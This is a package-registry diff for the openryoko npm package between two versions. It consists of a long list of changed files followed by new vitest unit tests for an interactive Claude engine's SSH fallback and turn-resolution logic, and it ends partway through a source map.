openryoko 2026.5.28 → 2026.6.3
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/dist/assets/hook-relay.mjs +53 -0
- package/dist/bin/jimmy.js +2 -0
- package/dist/bin/jimmy.js.map +1 -1
- package/dist/package.json +3 -2
- package/dist/src/cli/update.d.ts +2 -0
- package/dist/src/cli/update.d.ts.map +1 -1
- package/dist/src/cli/update.js +39 -1
- package/dist/src/cli/update.js.map +1 -1
- package/dist/src/connectors/slack/__tests__/agents-canvas.test.js +1 -0
- package/dist/src/connectors/slack/__tests__/agents-canvas.test.js.map +1 -1
- package/dist/src/connectors/slack/index.d.ts.map +1 -1
- package/dist/src/connectors/slack/index.js +13 -3
- package/dist/src/connectors/slack/index.js.map +1 -1
- package/dist/src/engines/__tests__/claude-interactive-race.test.d.ts +2 -0
- package/dist/src/engines/__tests__/claude-interactive-race.test.d.ts.map +1 -0
- package/dist/src/engines/__tests__/claude-interactive-race.test.js +89 -0
- package/dist/src/engines/__tests__/claude-interactive-race.test.js.map +1 -0
- package/dist/src/engines/__tests__/claude-interactive-ssh-fallback.test.d.ts +2 -0
- package/dist/src/engines/__tests__/claude-interactive-ssh-fallback.test.d.ts.map +1 -0
- package/dist/src/engines/__tests__/claude-interactive-ssh-fallback.test.js +78 -0
- package/dist/src/engines/__tests__/claude-interactive-ssh-fallback.test.js.map +1 -0
- package/dist/src/engines/__tests__/claude-interactive.test.d.ts +2 -0
- package/dist/src/engines/__tests__/claude-interactive.test.d.ts.map +1 -0
- package/dist/src/engines/__tests__/claude-interactive.test.js +54 -0
- package/dist/src/engines/__tests__/claude-interactive.test.js.map +1 -0
- package/dist/src/engines/__tests__/claude.ssh.test.d.ts +2 -0
- package/dist/src/engines/__tests__/claude.ssh.test.d.ts.map +1 -0
- package/dist/src/engines/__tests__/claude.ssh.test.js +156 -0
- package/dist/src/engines/__tests__/claude.ssh.test.js.map +1 -0
- package/dist/src/engines/__tests__/pty-lifecycle.test.d.ts +2 -0
- package/dist/src/engines/__tests__/pty-lifecycle.test.d.ts.map +1 -0
- package/dist/src/engines/__tests__/pty-lifecycle.test.js +69 -0
- package/dist/src/engines/__tests__/pty-lifecycle.test.js.map +1 -0
- package/dist/src/engines/__tests__/sse-event-to-deltas.test.d.ts +2 -0
- package/dist/src/engines/__tests__/sse-event-to-deltas.test.d.ts.map +1 -0
- package/dist/src/engines/__tests__/sse-event-to-deltas.test.js +46 -0
- package/dist/src/engines/__tests__/sse-event-to-deltas.test.js.map +1 -0
- package/dist/src/engines/__tests__/sse-pty-proxy-classify.test.d.ts +2 -0
- package/dist/src/engines/__tests__/sse-pty-proxy-classify.test.d.ts.map +1 -0
- package/dist/src/engines/__tests__/sse-pty-proxy-classify.test.js +52 -0
- package/dist/src/engines/__tests__/sse-pty-proxy-classify.test.js.map +1 -0
- package/dist/src/engines/__tests__/sse-pty-proxy-retry.test.d.ts +2 -0
- package/dist/src/engines/__tests__/sse-pty-proxy-retry.test.d.ts.map +1 -0
- package/dist/src/engines/__tests__/sse-pty-proxy-retry.test.js +99 -0
- package/dist/src/engines/__tests__/sse-pty-proxy-retry.test.js.map +1 -0
- package/dist/src/engines/claude-interactive.d.ts +161 -0
- package/dist/src/engines/claude-interactive.d.ts.map +1 -0
- package/dist/src/engines/claude-interactive.js +796 -0
- package/dist/src/engines/claude-interactive.js.map +1 -0
- package/dist/src/engines/claude.d.ts +6 -0
- package/dist/src/engines/claude.d.ts.map +1 -1
- package/dist/src/engines/claude.js +264 -30
- package/dist/src/engines/claude.js.map +1 -1
- package/dist/src/engines/codex.d.ts.map +1 -1
- package/dist/src/engines/codex.js +21 -1
- package/dist/src/engines/codex.js.map +1 -1
- package/dist/src/engines/pty-lifecycle.d.ts +47 -0
- package/dist/src/engines/pty-lifecycle.d.ts.map +1 -0
- package/dist/src/engines/pty-lifecycle.js +130 -0
- package/dist/src/engines/pty-lifecycle.js.map +1 -0
- package/dist/src/engines/pty-view-engine.d.ts +29 -0
- package/dist/src/engines/pty-view-engine.d.ts.map +1 -0
- package/dist/src/engines/pty-view-engine.js +8 -0
- package/dist/src/engines/pty-view-engine.js.map +1 -0
- package/dist/src/engines/sse-pty-proxy.d.ts +95 -0
- package/dist/src/engines/sse-pty-proxy.d.ts.map +1 -0
- package/dist/src/engines/sse-pty-proxy.js +331 -0
- package/dist/src/engines/sse-pty-proxy.js.map +1 -0
- package/dist/src/gateway/__tests__/hook-endpoint.test.d.ts +2 -0
- package/dist/src/gateway/__tests__/hook-endpoint.test.d.ts.map +1 -0
- package/dist/src/gateway/__tests__/hook-endpoint.test.js +46 -0
- package/dist/src/gateway/__tests__/hook-endpoint.test.js.map +1 -0
- package/dist/src/gateway/__tests__/hook-registry.test.d.ts +2 -0
- package/dist/src/gateway/__tests__/hook-registry.test.d.ts.map +1 -0
- package/dist/src/gateway/__tests__/hook-registry.test.js +68 -0
- package/dist/src/gateway/__tests__/hook-registry.test.js.map +1 -0
- package/dist/src/gateway/__tests__/org.test.js +56 -1
- package/dist/src/gateway/__tests__/org.test.js.map +1 -1
- package/dist/src/gateway/__tests__/restart.test.d.ts +2 -0
- package/dist/src/gateway/__tests__/restart.test.d.ts.map +1 -0
- package/dist/src/gateway/__tests__/restart.test.js +154 -0
- package/dist/src/gateway/__tests__/restart.test.js.map +1 -0
- package/dist/src/gateway/api.d.ts +8 -0
- package/dist/src/gateway/api.d.ts.map +1 -1
- package/dist/src/gateway/api.js +98 -1
- package/dist/src/gateway/api.js.map +1 -1
- package/dist/src/gateway/gateway-info.d.ts +14 -0
- package/dist/src/gateway/gateway-info.d.ts.map +1 -0
- package/dist/src/gateway/gateway-info.js +36 -0
- package/dist/src/gateway/gateway-info.js.map +1 -0
- package/dist/src/gateway/hook-endpoint.d.ts +15 -0
- package/dist/src/gateway/hook-endpoint.d.ts.map +1 -0
- package/dist/src/gateway/hook-endpoint.js +25 -0
- package/dist/src/gateway/hook-endpoint.js.map +1 -0
- package/dist/src/gateway/hook-registry.d.ts +29 -0
- package/dist/src/gateway/hook-registry.d.ts.map +1 -0
- package/dist/src/gateway/hook-registry.js +63 -0
- package/dist/src/gateway/hook-registry.js.map +1 -0
- package/dist/src/gateway/lifecycle.d.ts +20 -0
- package/dist/src/gateway/lifecycle.d.ts.map +1 -1
- package/dist/src/gateway/lifecycle.js +78 -1
- package/dist/src/gateway/lifecycle.js.map +1 -1
- package/dist/src/gateway/org.d.ts +6 -0
- package/dist/src/gateway/org.d.ts.map +1 -1
- package/dist/src/gateway/org.js +27 -1
- package/dist/src/gateway/org.js.map +1 -1
- package/dist/src/gateway/pty-ws.d.ts +20 -0
- package/dist/src/gateway/pty-ws.d.ts.map +1 -0
- package/dist/src/gateway/pty-ws.js +109 -0
- package/dist/src/gateway/pty-ws.js.map +1 -0
- package/dist/src/gateway/server.d.ts.map +1 -1
- package/dist/src/gateway/server.js +191 -11
- package/dist/src/gateway/server.js.map +1 -1
- package/dist/src/sessions/__tests__/callbacks.test.js +1 -0
- package/dist/src/sessions/__tests__/callbacks.test.js.map +1 -1
- package/dist/src/sessions/manager.d.ts.map +1 -1
- package/dist/src/sessions/manager.js +46 -4
- package/dist/src/sessions/manager.js.map +1 -1
- package/dist/src/sessions/registry.d.ts +1 -0
- package/dist/src/sessions/registry.d.ts.map +1 -1
- package/dist/src/sessions/registry.js +7 -0
- package/dist/src/sessions/registry.js.map +1 -1
- package/dist/src/shared/__tests__/claude-settings.test.d.ts +2 -0
- package/dist/src/shared/__tests__/claude-settings.test.d.ts.map +1 -0
- package/dist/src/shared/__tests__/claude-settings.test.js +59 -0
- package/dist/src/shared/__tests__/claude-settings.test.js.map +1 -0
- package/dist/src/shared/__tests__/rateLimit.test.js +34 -1
- package/dist/src/shared/__tests__/rateLimit.test.js.map +1 -1
- package/dist/src/shared/claude-settings.d.ts +24 -0
- package/dist/src/shared/claude-settings.d.ts.map +1 -0
- package/dist/src/shared/claude-settings.js +69 -0
- package/dist/src/shared/claude-settings.js.map +1 -0
- package/dist/src/shared/paths.d.ts +7 -0
- package/dist/src/shared/paths.d.ts.map +1 -1
- package/dist/src/shared/paths.js +8 -0
- package/dist/src/shared/paths.js.map +1 -1
- package/dist/src/shared/rateLimit.d.ts +6 -0
- package/dist/src/shared/rateLimit.d.ts.map +1 -1
- package/dist/src/shared/rateLimit.js +28 -0
- package/dist/src/shared/rateLimit.js.map +1 -1
- package/dist/src/shared/skill-commands.d.ts +11 -0
- package/dist/src/shared/skill-commands.d.ts.map +1 -0
- package/dist/src/shared/skill-commands.js +34 -0
- package/dist/src/shared/skill-commands.js.map +1 -0
- package/dist/src/shared/types.d.ts +34 -1
- package/dist/src/shared/types.d.ts.map +1 -1
- package/dist/src/shared/types.js.map +1 -1
- package/dist/web/404.html +1 -1
- package/dist/web/__next.__PAGE__.txt +1 -1
- package/dist/web/__next._full.txt +1 -1
- package/dist/web/__next._head.txt +1 -1
- package/dist/web/__next._index.txt +1 -1
- package/dist/web/__next._tree.txt +1 -1
- package/dist/web/_next/static/chunks/0jm3e~uc~qd~p.js +79 -0
- package/dist/web/_next/static/chunks/17oc2l.ekcs8b.css +1 -0
- package/dist/web/_not-found/__next._full.txt +1 -1
- package/dist/web/_not-found/__next._head.txt +1 -1
- package/dist/web/_not-found/__next._index.txt +1 -1
- package/dist/web/_not-found/__next._not-found.__PAGE__.txt +1 -1
- package/dist/web/_not-found/__next._not-found.txt +1 -1
- package/dist/web/_not-found/__next._tree.txt +1 -1
- package/dist/web/_not-found.html +1 -1
- package/dist/web/_not-found.txt +1 -1
- package/dist/web/chat/__next._full.txt +3 -2
- package/dist/web/chat/__next._head.txt +1 -1
- package/dist/web/chat/__next._index.txt +1 -1
- package/dist/web/chat/__next._tree.txt +2 -1
- package/dist/web/chat/__next.chat.__PAGE__.txt +3 -2
- package/dist/web/chat/__next.chat.txt +1 -1
- package/dist/web/chat.html +1 -1
- package/dist/web/chat.txt +3 -2
- package/dist/web/cron/__next._full.txt +1 -1
- package/dist/web/cron/__next._head.txt +1 -1
- package/dist/web/cron/__next._index.txt +1 -1
- package/dist/web/cron/__next._tree.txt +1 -1
- package/dist/web/cron/__next.cron.__PAGE__.txt +1 -1
- package/dist/web/cron/__next.cron.txt +1 -1
- package/dist/web/cron.html +1 -1
- package/dist/web/cron.txt +1 -1
- package/dist/web/index.html +1 -1
- package/dist/web/index.txt +1 -1
- package/dist/web/kanban/__next._full.txt +1 -1
- package/dist/web/kanban/__next._head.txt +1 -1
- package/dist/web/kanban/__next._index.txt +1 -1
- package/dist/web/kanban/__next._tree.txt +1 -1
- package/dist/web/kanban/__next.kanban.__PAGE__.txt +1 -1
- package/dist/web/kanban/__next.kanban.txt +1 -1
- package/dist/web/kanban.html +1 -1
- package/dist/web/kanban.txt +1 -1
- package/dist/web/logs/__next._full.txt +1 -1
- package/dist/web/logs/__next._head.txt +1 -1
- package/dist/web/logs/__next._index.txt +1 -1
- package/dist/web/logs/__next._tree.txt +1 -1
- package/dist/web/logs/__next.logs.__PAGE__.txt +1 -1
- package/dist/web/logs/__next.logs.txt +1 -1
- package/dist/web/logs.html +1 -1
- package/dist/web/logs.txt +1 -1
- package/dist/web/org/__next._full.txt +1 -1
- package/dist/web/org/__next._head.txt +1 -1
- package/dist/web/org/__next._index.txt +1 -1
- package/dist/web/org/__next._tree.txt +1 -1
- package/dist/web/org/__next.org.__PAGE__.txt +1 -1
- package/dist/web/org/__next.org.txt +1 -1
- package/dist/web/org.html +1 -1
- package/dist/web/org.txt +1 -1
- package/dist/web/sessions/__next._full.txt +1 -1
- package/dist/web/sessions/__next._head.txt +1 -1
- package/dist/web/sessions/__next._index.txt +1 -1
- package/dist/web/sessions/__next._tree.txt +1 -1
- package/dist/web/sessions/__next.sessions.__PAGE__.txt +1 -1
- package/dist/web/sessions/__next.sessions.txt +1 -1
- package/dist/web/sessions.html +1 -1
- package/dist/web/sessions.txt +1 -1
- package/dist/web/settings/__next._full.txt +1 -1
- package/dist/web/settings/__next._head.txt +1 -1
- package/dist/web/settings/__next._index.txt +1 -1
- package/dist/web/settings/__next._tree.txt +1 -1
- package/dist/web/settings/__next.settings.__PAGE__.txt +1 -1
- package/dist/web/settings/__next.settings.txt +1 -1
- package/dist/web/settings.html +1 -1
- package/dist/web/settings.txt +1 -1
- package/dist/web/skills/__next._full.txt +1 -1
- package/dist/web/skills/__next._head.txt +1 -1
- package/dist/web/skills/__next._index.txt +1 -1
- package/dist/web/skills/__next._tree.txt +1 -1
- package/dist/web/skills/__next.skills.__PAGE__.txt +1 -1
- package/dist/web/skills/__next.skills.txt +1 -1
- package/dist/web/skills.html +1 -1
- package/dist/web/skills.txt +1 -1
- package/package.json +3 -2
- package/template/config.default.yaml +6 -0
- package/dist/web/_next/static/chunks/0z5lzlvft9.4o.js +0 -62
- /package/dist/web/_next/static/{bNLmW65Gsur_aLrJJh98i → oKaQ0ixfT8Uk-O0Ag7UXk}/_buildManifest.js +0 -0
- /package/dist/web/_next/static/{bNLmW65Gsur_aLrJJh98i → oKaQ0ixfT8Uk-O0Ag7UXk}/_clientMiddlewareManifest.js +0 -0
- /package/dist/web/_next/static/{bNLmW65Gsur_aLrJJh98i → oKaQ0ixfT8Uk-O0Ag7UXk}/_ssgManifest.js +0 -0
|
@@ -0,0 +1,78 @@
|
|
|
1
|
+
import { describe, it, expect } from "vitest";
|
|
2
|
+
import { InteractiveClaudeEngine } from "../claude-interactive.js";
|
|
3
|
+
import { PtyLifecycleManager } from "../pty-lifecycle.js";
|
|
4
|
+
import { HookRegistry } from "../../gateway/hook-registry.js";
|
|
5
|
+
/**
|
|
6
|
+
* OpenRyoko-specific: the interactive PTY engine runs Claude LOCALLY (for the Max
|
|
7
|
+
* subsidy), so it cannot drive a remote engine over SSH. When opts.sshHost is set
|
|
8
|
+
* it must delegate to the headless `claude -p` fallback, and route kill/isAlive/
|
|
9
|
+
* killAll there too. These cover that adaptation (not present upstream).
|
|
10
|
+
*/
|
|
11
|
+
function makeFakeFallback() {
|
|
12
|
+
const calls = {
|
|
13
|
+
run: [], kill: [], killAll: 0, isAlive: [],
|
|
14
|
+
};
|
|
15
|
+
const engine = {
|
|
16
|
+
name: "claude",
|
|
17
|
+
run: async (opts) => {
|
|
18
|
+
calls.run.push(opts);
|
|
19
|
+
return { sessionId: "remote-sess", result: "from remote" };
|
|
20
|
+
},
|
|
21
|
+
kill: (sessionId) => { calls.kill.push(sessionId); },
|
|
22
|
+
isAlive: (sessionId) => { calls.isAlive.push(sessionId); return true; },
|
|
23
|
+
killAll: () => { calls.killAll += 1; },
|
|
24
|
+
};
|
|
25
|
+
return { engine, calls };
|
|
26
|
+
}
|
|
27
|
+
function makeEngine(fallback) {
|
|
28
|
+
const lifecycle = new PtyLifecycleManager({ maxLivePtys: 4 });
|
|
29
|
+
const registry = new HookRegistry();
|
|
30
|
+
const engine = new InteractiveClaudeEngine(lifecycle, registry, fallback);
|
|
31
|
+
return { engine, lifecycle, registry };
|
|
32
|
+
}
|
|
33
|
+
describe("InteractiveClaudeEngine SSH remote fallback", () => {
|
|
34
|
+
it("delegates run() to the fallback when sshHost is set", async () => {
|
|
35
|
+
const { engine: fallback, calls } = makeFakeFallback();
|
|
36
|
+
const { engine, registry } = makeEngine(fallback);
|
|
37
|
+
const result = await engine.run({
|
|
38
|
+
prompt: "hi",
|
|
39
|
+
cwd: "/tmp",
|
|
40
|
+
sshHost: "my-host",
|
|
41
|
+
sessionId: "s1",
|
|
42
|
+
});
|
|
43
|
+
expect(result.result).toBe("from remote");
|
|
44
|
+
expect(calls.run).toHaveLength(1);
|
|
45
|
+
expect(calls.run[0].sshHost).toBe("my-host");
|
|
46
|
+
registry.dispose();
|
|
47
|
+
});
|
|
48
|
+
it("does NOT delegate run() when sshHost is absent (would use local PTY)", async () => {
|
|
49
|
+
const { engine: fallback, calls } = makeFakeFallback();
|
|
50
|
+
const { engine, registry } = makeEngine(fallback);
|
|
51
|
+
// No sshHost → must NOT hit the fallback. We don't actually spawn a PTY here;
|
|
52
|
+
// just assert the fallback's run was never called for a local turn. Guard the
|
|
53
|
+
// local path by giving it a session already "active" so run() returns early.
|
|
54
|
+
engine.active.set("s2", {});
|
|
55
|
+
await engine.run({ prompt: "hi", cwd: "/tmp", sessionId: "s2" });
|
|
56
|
+
expect(calls.run).toHaveLength(0);
|
|
57
|
+
registry.dispose();
|
|
58
|
+
});
|
|
59
|
+
it("routes kill/isAlive/killAll to the fallback too", () => {
|
|
60
|
+
const { engine: fallback, calls } = makeFakeFallback();
|
|
61
|
+
const { engine, registry } = makeEngine(fallback);
|
|
62
|
+
engine.kill("s3", "Interrupted: test");
|
|
63
|
+
expect(calls.kill).toContain("s3");
|
|
64
|
+
expect(engine.isAlive("s4")).toBe(true);
|
|
65
|
+
expect(calls.isAlive).toContain("s4");
|
|
66
|
+
engine.killAll();
|
|
67
|
+
expect(calls.killAll).toBe(1);
|
|
68
|
+
registry.dispose();
|
|
69
|
+
});
|
|
70
|
+
it("works without a fallback (local-only) — kill/isAlive/killAll are safe no-ops", () => {
|
|
71
|
+
const { engine, registry } = makeEngine(undefined);
|
|
72
|
+
expect(() => engine.kill("x")).not.toThrow();
|
|
73
|
+
expect(engine.isAlive("x")).toBe(false);
|
|
74
|
+
expect(() => engine.killAll()).not.toThrow();
|
|
75
|
+
registry.dispose();
|
|
76
|
+
});
|
|
77
|
+
});
|
|
78
|
+
//# sourceMappingURL=claude-interactive-ssh-fallback.test.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"claude-interactive-ssh-fallback.test.js","sourceRoot":"","sources":["../../../../src/engines/__tests__/claude-interactive-ssh-fallback.test.ts"],"names":[],"mappings":"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"}
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"claude-interactive.test.d.ts","sourceRoot":"","sources":["../../../../src/engines/__tests__/claude-interactive.test.ts"],"names":[],"mappings":""}
|
|
@@ -0,0 +1,54 @@
|
|
|
1
|
+
import { describe, it, expect, vi } from "vitest";
|
|
2
|
+
// claude-interactive.ts imports node-pty at the top level. node-pty loads its
|
|
3
|
+
// native module at import time and that fails on Linux CI runners (looks for
|
|
4
|
+
// prebuilds/linux-x64/pty.node under a wrong relative path). TurnResolver is a
|
|
5
|
+
// pure-JS class with zero PTY dependency, so mocking the module keeps the test
|
|
6
|
+
// focused and CI-portable.
|
|
7
|
+
vi.mock("node-pty", () => ({ spawn: vi.fn() }));
|
|
8
|
+
import { TurnResolver } from "../claude-interactive.js";
|
|
9
|
+
describe("TurnResolver", () => {
|
|
10
|
+
it("resolves only after BOTH SessionStart and Stop", async () => {
|
|
11
|
+
const r = new TurnResolver({ fallbackSessionId: "old" });
|
|
12
|
+
let resolved;
|
|
13
|
+
r.promise.then((v) => { resolved = v; });
|
|
14
|
+
r.onHook({ hook_event_name: "Stop", last_assistant_message: "done" });
|
|
15
|
+
await new Promise((res) => setTimeout(res, 5));
|
|
16
|
+
expect(resolved).toBeUndefined(); // Stop alone is not enough
|
|
17
|
+
r.onHook({ hook_event_name: "SessionStart", session_id: "claude-123" });
|
|
18
|
+
await new Promise((res) => setTimeout(res, 5));
|
|
19
|
+
expect(resolved.result).toBe("done");
|
|
20
|
+
expect(resolved.sessionId).toBe("claude-123");
|
|
21
|
+
expect(resolved.numTurns).toBe(1);
|
|
22
|
+
});
|
|
23
|
+
it("settles with an Interrupted error when killed", async () => {
|
|
24
|
+
const r = new TurnResolver({ fallbackSessionId: "old" });
|
|
25
|
+
r.onHook({ hook_event_name: "SessionStart", session_id: "c1" });
|
|
26
|
+
r.interrupt("Interrupted: user");
|
|
27
|
+
const v = await r.promise;
|
|
28
|
+
expect(v.error).toMatch(/^Interrupted/);
|
|
29
|
+
});
|
|
30
|
+
it("treats a missing session id as a hard error", async () => {
|
|
31
|
+
const r = new TurnResolver({ fallbackSessionId: undefined });
|
|
32
|
+
r.onHook({ hook_event_name: "SessionStart" }); // no session_id
|
|
33
|
+
r.onHook({ hook_event_name: "Stop", last_assistant_message: "x" });
|
|
34
|
+
const v = await r.promise;
|
|
35
|
+
expect(v.error).toMatch(/session id/i);
|
|
36
|
+
});
|
|
37
|
+
it("with assumeStarted, resolves on Stop alone using fallbackSessionId", async () => {
|
|
38
|
+
const r = new TurnResolver({ fallbackSessionId: "warm-sid", assumeStarted: true });
|
|
39
|
+
r.onHook({ hook_event_name: "Stop", last_assistant_message: "ok" });
|
|
40
|
+
const v = await r.promise;
|
|
41
|
+
expect(v.result).toBe("ok");
|
|
42
|
+
expect(v.sessionId).toBe("warm-sid");
|
|
43
|
+
expect(v.numTurns).toBe(1);
|
|
44
|
+
});
|
|
45
|
+
it("settles immediately on StopFailure (does not wait for SessionStart) and exposes it", async () => {
|
|
46
|
+
const r = new TurnResolver({ fallbackSessionId: "old" });
|
|
47
|
+
r.onHook({ hook_event_name: "StopFailure", error: "rate_limit", error_details: "resets 3pm" });
|
|
48
|
+
const v = await r.promise;
|
|
49
|
+
expect(v.error).toMatch(/rate_limit/);
|
|
50
|
+
expect(v.numTurns).toBe(1);
|
|
51
|
+
expect(r.stopFailure?.error).toBe("rate_limit");
|
|
52
|
+
});
|
|
53
|
+
});
|
|
54
|
+
//# sourceMappingURL=claude-interactive.test.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"file":"claude-interactive.test.js","sourceRoot":"","sources":["../../../../src/engines/__tests__/claude-interactive.test.ts"],"names":[],"mappings":"AAAA,OAAO,EAAE,QAAQ,EAAE,EAAE,EAAE,MAAM,EAAE,EAAE,EAAE,MAAM,QAAQ,CAAC;AAElD,8EAA8E;AAC9E,6EAA6E;AAC7E,+EAA+E;AAC/E,+EAA+E;AAC/E,2BAA2B;AAC3B,EAAE,CAAC,IAAI,CAAC,UAAU,EAAE,GAAG,EAAE,CAAC,CAAC,EAAE,KAAK,EAAE,EAAE,CAAC,EAAE,EAAE,EAAE,CAAC,CAAC,CAAC;AAEhD,OAAO,EAAE,YAAY,EAAE,MAAM,0BAA0B,CAAC;AAExD,QAAQ,CAAC,cAAc,EAAE,GAAG,EAAE;IAC5B,EAAE,CAAC,gDAAgD,EAAE,KAAK,IAAI,EAAE;QAC9D,MAAM,CAAC,GAAG,IAAI,YAAY,CAAC,EAAE,iBAAiB,EAAE,KAAK,EAAE,CAAC,CAAC;QACzD,IAAI,QAAa,CAAC;QAClB,CAAC,CAAC,OAAO,CAAC,IAAI,CAAC,CAAC,CAAC,EAAE,EAAE,GAAG,QAAQ,GAAG,CAAC,CAAC,CAAC,CAAC,CAAC,CAAC;QACzC,CAAC,CAAC,MAAM,CAAC,EAAE,eAAe,EAAE,MAAM,EAAE,sBAAsB,EAAE,MAAM,EAAE,CAAC,CAAC;QACtE,MAAM,IAAI,OAAO,CAAC,CAAC,GAAG,EAAE,EAAE,CAAC,UAAU,CAAC,GAAG,EAAE,CAAC,CAAC,CAAC,CAAC;QAC/C,MAAM,CAAC,QAAQ,CAAC,CAAC,aAAa,EAAE,CAAC,CAAC,2BAA2B;QAC7D,CAAC,CAAC,